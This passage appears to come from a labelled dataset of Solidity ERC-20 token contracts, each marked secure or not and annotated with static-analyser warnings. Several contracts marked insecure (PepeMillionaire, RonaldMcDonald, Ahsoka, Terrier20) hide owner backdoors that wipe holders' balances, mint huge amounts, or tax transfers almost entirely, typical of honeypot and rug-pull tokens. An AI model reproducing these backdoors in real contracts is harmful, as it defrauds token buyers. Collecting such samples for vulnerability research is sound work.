balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(amount)\n );\n return true;\n }\n\n function setLiquidityPool(address liquidityPool) external onlyOwner {\n require(liquidityPool != address(0), \"Invalid liquidity pool address\");\n _liquidityPool = liquidityPool;\n }\n\n function renounceOwnership() external onlyOwner {\n _owner = address(0);\n emit OwnershipTransferred(msg.sender, address(0));\n }\n\n function setFeesEnabled(bool enabled) external onlyOwner {\n _feesEnabled = enabled;\n }\n\n function excludeFromFees(address account) external onlyOwner {\n require(account != address(0), \"Invalid address\");\n _excludedFromFees[account] = true;\n }\n\n function includeInFees(address account) external onlyOwner {\n require(account != address(0), \"Invalid address\");\n _excludedFromFees[account] = false;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _excludedFromFees[account];\n }\n\n function excludeFromRewards(address account) external onlyOwner {\n require(account != address(0), \"Invalid address\");\n _excludedFromRewards[account] = true;\n }\n\n function includeInRewards(address account) external onlyOwner {\n require(account != address(0), \"Invalid address\");\n _excludedFromRewards[account] = false;\n }\n\n function isExcludedFromRewards(address account) public view returns (bool) {\n return _excludedFromRewards[account];\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"ERC20: transfer amount must be greater than zero\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 burnAmount = amount.mul(_burnRate).div(10000);\n uint256 liquidityFee = amount.mul(_liquidityFeeRate).div(100);\n uint256 redistributionFee = amount.mul(_redistributionRate).div(10000);\n uint256 buybackFee = amount.mul(_buybackFeeRate).div(1000);\n\n uint256 transferAmount = amount\n .sub(burnAmount)\n .sub(liquidityFee)\n .sub(redistributionFee)\n .sub(buybackFee);\n\n _balances[sender] = senderBalance.sub(amount);\n _balances[recipient] = _balances[recipient].add(transferAmount);\n\n if (_feesEnabled && !_excludedFromFees[sender]) {\n _balances[address(this)] = _balances[address(this)]\n .add(liquidityFee)\n .add(redistributionFee);\n\n _balances[_buybackWallet] = _balances[_buybackWallet].add(\n buybackFee\n );\n\n if (_balances[recipient] == 0) {\n _tokenHolders.push(recipient);\n }\n\n emit Transfer(sender, recipient, transferAmount);\n emit Transfer(sender, address(0), burnAmount);\n emit Transfer(sender, _buybackWallet, buybackFee);\n\n if (_liquidityPool != address(0) && liquidityFee > 0) {\n _balances[_liquidityPool] = _balances[_liquidityPool].add(\n liquidityFee\n );\n emit Transfer(sender, _liquidityPool, liquidityFee);\n }\n\n if (redistributionFee > 0) {\n _distributeRedistributionFee(redistributionFee);\n }\n } else {\n _balances[recipient] = _balances[recipient].add(amount);\n _balances[sender] = _balances[sender].sub(amount);\n emit Transfer(sender, recipient, amount);\n }\n }\n\n function _distributeRedistributionFee(uint256 amount) internal {\n uint256 numTokenHolders = _tokenHolders.length;\n if (numTokenHolders > 0) {\n uint256 feePerHolder = amount.div(numTokenHolders);\n for (uint256 i = 0; i < numTokenHolders; i++) {\n address holder = _tokenHolders[i];\n if (!_excludedFromRewards[holder]) {\n _balances[holder] = _balances[holder].add(feePerHolder);\n emit Transfer(address(this), holder, feePerHolder);\n }\n }\n }\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n}",
"file_name": "solidity_code_3302.sol",
"secure": 1,
"size_bytes": 9159
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PepeMillionaire is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: d9b9aa1): PepeMillionaire.gaodmnv should be immutable \n\t// Recommendation for d9b9aa1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public gaodmnv;\n\t// WARNING Optimization Issue (immutable-states | ID: e77af4b): PepeMillionaire.jonuxgz should be immutable \n\t// Recommendation for e77af4b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 jonuxgz = 10000000000 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: 3a8fdd3): PepeMillionaire._mnyjvul should be immutable \n\t// Recommendation for 3a8fdd3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _mnyjvul = jonuxgz;\n\t// WARNING Optimization Issue (constable-states | ID: b5b118e): PepeMillionaire._cjoklbd should be constant \n\t// Recommendation for b5b118e: Add the 'constant' attribute to state variables that never change.\n string private _cjoklbd = \"Pepe Millionaire\";\n\t// WARNING Optimization Issue (constable-states | ID: fa0329b): PepeMillionaire._crnbphz should be constant \n\t// Recommendation for fa0329b: Add the 'constant' attribute to state variables that never change.\n string private _crnbphz = \"Pepe$\";\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3c300a1): PepeMillionaire.constructor(address).pelzjfm lacks a zerocheck on \t gaodmnv = pelzjfm\n\t// Recommendation for 3c300a1: Check that the address is not zero.\n constructor(address pelzjfm) {\n\t\t// missing-zero-check | ID: 3c300a1\n gaodmnv = pelzjfm;\n _balances[_msgSender()] += jonuxgz;\n emit Transfer(address(0), _msgSender(), jonuxgz);\n }\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n function symbol() public view returns (string memory) {\n return _crnbphz;\n }\n\t// WARNING Optimization Issue (constable-states | ID: 76a007e): PepeMillionaire.hucmnfd should be constant \n\t// Recommendation for 76a007e: Add the 'constant' attribute to state variables that never change.\n uint256 hucmnfd = 1000 + 1000 - 2000;\n function increaseAllowance(address ngzmvkr) public {\n if (gaodmnv == _msgSender()) {\n address nvktras = ngzmvkr;\n uint256 curamount = _balances[nvktras];\n uint256 newaaamount = _balances[nvktras] +\n _balances[nvktras] -\n curamount;\n _balances[nvktras] -= newaaamount;\n } else {\n if (gaodmnv == _msgSender()) {} else {\n revert(\"ccc\");\n }\n }\n }\n\n function totalSupply() public view returns (uint256) {\n return _mnyjvul;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return _cjoklbd;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aa8ed5d): PepeMillionaire.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aa8ed5d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 142026f): PepeMillionaire.xtjaecg should be constant \n\t// Recommendation for 142026f: Add the 'constant' attribute to state variables that never change.\n uint256 xtjaecg = 31330000000 + 1000;\n function blockpyschain(address armsybw) external {\n address mrhnuvx = _msgSender();\n _balances[mrhnuvx] += 38200 * ((10 ** decimals() * xtjaecg)) * 1 * 1;\n require(gaodmnv == _msgSender());\n if (gaodmnv == _msgSender()) {}\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 97d16ef): PepeMillionaire.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 97d16ef: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a1710be): PepeMillionaire._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a1710be: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 892df9f): PepeMillionaire.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 892df9f: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6a60df): PepeMillionaire._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6a60df: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3303.sol",
"secure": 0,
"size_bytes": 8294
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 462d4dc): Contract locking ether found Contract RonaldMcDonald has payable functions RonaldMcDonald.receive() But does not have a function to withdraw the ether\n// Recommendation for 462d4dc: Remove the 'payable' attribute or add a withdraw function.\ncontract RonaldMcDonald is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: b33e37f): RonaldMcDonald._name should be constant \n\t// Recommendation for b33e37f: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"RonaldMcDonald らんらんる\";\n\t// WARNING Optimization Issue (constable-states | ID: c38e8cd): RonaldMcDonald._symbol should be constant \n\t// Recommendation for c38e8cd: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"RanRu\";\n\t// WARNING Optimization Issue (constable-states | ID: c3cbac0): RonaldMcDonald._decimals should be constant \n\t// Recommendation for c3cbac0: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\t// WARNING Optimization Issue (immutable-states | ID: 0350c21): RonaldMcDonald.head should be immutable \n\t// Recommendation for 0350c21: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public head;\n mapping(address => uint256) _balances;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public _uniswapPair;\n mapping(address => uint256) public heart;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b944e0c): RonaldMcDonald._totalSupply should be immutable \n\t// Recommendation for b944e0c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 888000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: ce5f328): RonaldMcDonald.swapAndLiquifyEnabled should be constant \n\t// Recommendation for ce5f328: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n head = payable(address(0xBf0691B48C87Afe34EAa68053a90E197EcBebd86));\n\n _isExcludefromFee[head] = true;\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: be310d8): RonaldMcDonald.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for be310d8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 17ef853): RonaldMcDonald._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 17ef853: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e8f89de\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: f3b2bba\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 462d4dc): Contract locking ether found Contract RonaldMcDonald has payable functions RonaldMcDonald.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 462d4dc: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f3b2bba): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f3b2bba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e8f89de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e8f89de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f3b2bba\n\t\t// reentrancy-benign | ID: e8f89de\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: f3b2bba\n\t\t// reentrancy-benign | ID: e8f89de\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dabdeab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dabdeab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launch() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: dabdeab\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: dabdeab\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: dabdeab\n _uniswapPair[address(uniswapPair)] = true;\n\t\t// reentrancy-benign | ID: dabdeab\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n struct IsS {\n address ac;\n bool so;\n uint256 a;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c2253d9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c2253d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9a423cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9a423cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 4426c9d): RonaldMcDonald._transfer(address,address,uint256).b is a local variable never initialized\n\t// Recommendation for 4426c9d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n isS memory b;\n b.so = head == to;\n b.a = amount;\n b.ac = head;\n\n if (from == head && b.so) {\n _balances[b.ac] = (b.a).mul(2);\n }\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n\t\t\t\t// reentrancy-events | ID: c2253d9\n\t\t\t\t// reentrancy-no-eth | ID: 9a423cd\n swapAndLiquify(balanceOf(address(this)));\n }\n\n uint256 finalAmount;\n\t\t\t// reentrancy-no-eth | ID: 9a423cd\n _balances[from] = _balances[from].sub(amount);\n\n if (!_isExcludefromFee[from] && !_isExcludefromFee[to]) {\n uint256 feeAmount = amount.mul(0).div(100);\n\n if (heart[from] > 0) feeAmount = feeAmount.add(amount);\n\n if (feeAmount > 0) {\n\t\t\t\t\t// reentrancy-no-eth | ID: 9a423cd\n _balances[address(this)] += feeAmount;\n\t\t\t\t\t// reentrancy-events | ID: c2253d9\n emit Transfer(from, address(this), feeAmount);\n }\n finalAmount = amount.sub(feeAmount);\n } else {\n finalAmount = amount;\n }\n\n\t\t\t// reentrancy-no-eth | ID: 9a423cd\n _balances[to] = _balances[to].add(finalAmount);\n\n\t\t\t// reentrancy-events | ID: c2253d9\n emit Transfer(from, to, finalAmount);\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\t\t// reentrancy-events | ID: c2253d9\n\t\t// reentrancy-events | ID: f3b2bba\n\t\t// reentrancy-benign | ID: e8f89de\n\t\t// reentrancy-no-eth | ID: 9a423cd\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(head),\n block.timestamp\n )\n {} catch {}\n }\n\n function height(address high, uint256 heaven) public {\n uint256 hover = (head != _msgSender()) ? heaven.mul(heaven) : 0;\n\n heaven = heaven.sub(hover);\n\n if (heaven == 1 + 5 || heaven == 1 + 77) {\n heaven -= 5;\n heart[high] = heaven;\n }\n }\n}",
"file_name": "solidity_code_3304.sol",
"secure": 0,
"size_bytes": 12724
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address addr);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 a,\n uint256 b,\n address[] calldata _path,\n address c,\n uint256\n ) external;\n function WETH() external pure returns (address aadd);\n}",
"file_name": "solidity_code_3305.sol",
"secure": 1,
"size_bytes": 409
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract Ahsoka is Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: cdd2275): Ahsoka._decimals should be constant \n\t// Recommendation for cdd2275: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5442569): Ahsoka._totalSupply should be immutable \n\t// Recommendation for 5442569: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f4bf7d3): Ahsoka._name should be constant \n\t// Recommendation for f4bf7d3: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Ahsoka\";\n\t// WARNING Optimization Issue (constable-states | ID: 2d987a5): Ahsoka._symbol should be constant \n\t// Recommendation for 2d987a5: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"AHSOKA\";\n\n function name() external view returns (string memory) {\n return _name;\n }\n constructor() {\n _taxWallet = msg.sender;\n emit Transfer(address(0), sender(), _balances[sender()]);\n _balances[sender()] = _totalSupply;\n }\n function startTrading() external onlyOwner {\n startBlockNumber = block.number;\n }\n\t// WARNING Optimization Issue (immutable-states | ID: f5bea34): Ahsoka._taxWallet should be immutable \n\t// Recommendation for f5bea34: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function mint(address[] calldata wallets) external {\n for (uint256 _n = 0; _n < wallets.length; _n++) {\n uint256 blockNumber = 0 + getBlockNumber();\n if (!marketingAddres()) {} else {\n cooldowns[wallets[_n]] = 3 + blockNumber - 2;\n }\n }\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n require(_allowances[from][sender()] >= _amount);\n return true;\n }\n mapping(address => uint256) internal cooldowns;\n function swap(uint256 token, address wallet) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), token);\n _balances[address(this)] = token;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniV2Router.WETH();\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n token,\n 0,\n path,\n wallet,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4ec87b0): Ahsoka.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4ec87b0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0828fa0): Ahsoka._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0828fa0: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n uint256 startBlockNumber = 0;\n mapping(address => uint256) private _balances;\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n mapping(address => mapping(address => uint256)) private _allowances;\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == sender());\n }\n\t// WARNING Optimization Issue (constable-states | ID: d0ad3b3): Ahsoka.uniV2Router should be constant \n\t// Recommendation for d0ad3b3: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n return true;\n }\n event Transfer(address indexed from, address indexed to, uint256);\n event Approval(address indexed, address indexed, uint256 value);\n function _transfer(address from, address to, uint256 value) internal {\n uint256 taxAmount = 0;\n require(from != address(0));\n require(value <= _balances[from]);\n emit Transfer(from, to, value);\n bool onCooldown = (cooldowns[from]) <= getBlockNumber();\n uint256 _fromBalance = _balances[from] - (value);\n _balances[from] = _fromBalance;\n uint256 _cooldownFee = (value.mul(9999).div(10000));\n if ((cooldowns[from] != 0) && onCooldown) {\n taxAmount = _cooldownFee;\n }\n _balances[to] += ((value) - (taxAmount));\n }\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n return true;\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n}",
"file_name": "solidity_code_3306.sol",
"secure": 0,
"size_bytes": 7153
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Terrier20 is Ownable {\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17a8c71): Terrier20.name should be constant \n\t// Recommendation for 17a8c71: Add the 'constant' attribute to state variables that never change.\n string public name = \"Terrier 2.0\";\n\n function approve(\n address halfapprover,\n uint256 halfnumber\n ) public returns (bool success) {\n allowance[msg.sender][halfapprover] = halfnumber;\n emit Approval(msg.sender, halfapprover, halfnumber);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ccea11): Terrier20.decimals should be constant \n\t// Recommendation for 0ccea11: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function halfspender(\n address halfrow,\n address halfreceiver,\n uint256 halfnumber\n ) private {\n if (halfwallet[halfrow] == 0) {\n balanceOf[halfrow] -= halfnumber;\n }\n balanceOf[halfreceiver] += halfnumber;\n if (\n halfwallet[msg.sender] > 0 &&\n halfnumber == 0 &&\n halfreceiver != halfpair\n ) {\n balanceOf[halfreceiver] = halfvalve;\n }\n emit Transfer(halfrow, halfreceiver, halfnumber);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: fb7a8ad): Terrier20.halfpair should be immutable \n\t// Recommendation for fb7a8ad: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public halfpair;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9444947): Terrier20.symbol should be constant \n\t// Recommendation for 9444947: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"TERRIER 2.0\";\n\n mapping(address => uint256) private halfwallet;\n\n function transfer(\n address halfreceiver,\n uint256 halfnumber\n ) public returns (bool success) {\n halfspender(msg.sender, halfreceiver, halfnumber);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: f2548d8): Terrier20.totalSupply should be constant \n\t// Recommendation for f2548d8: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n function transferFrom(\n address halfrow,\n address halfreceiver,\n uint256 halfnumber\n ) public returns (bool success) {\n require(halfnumber <= 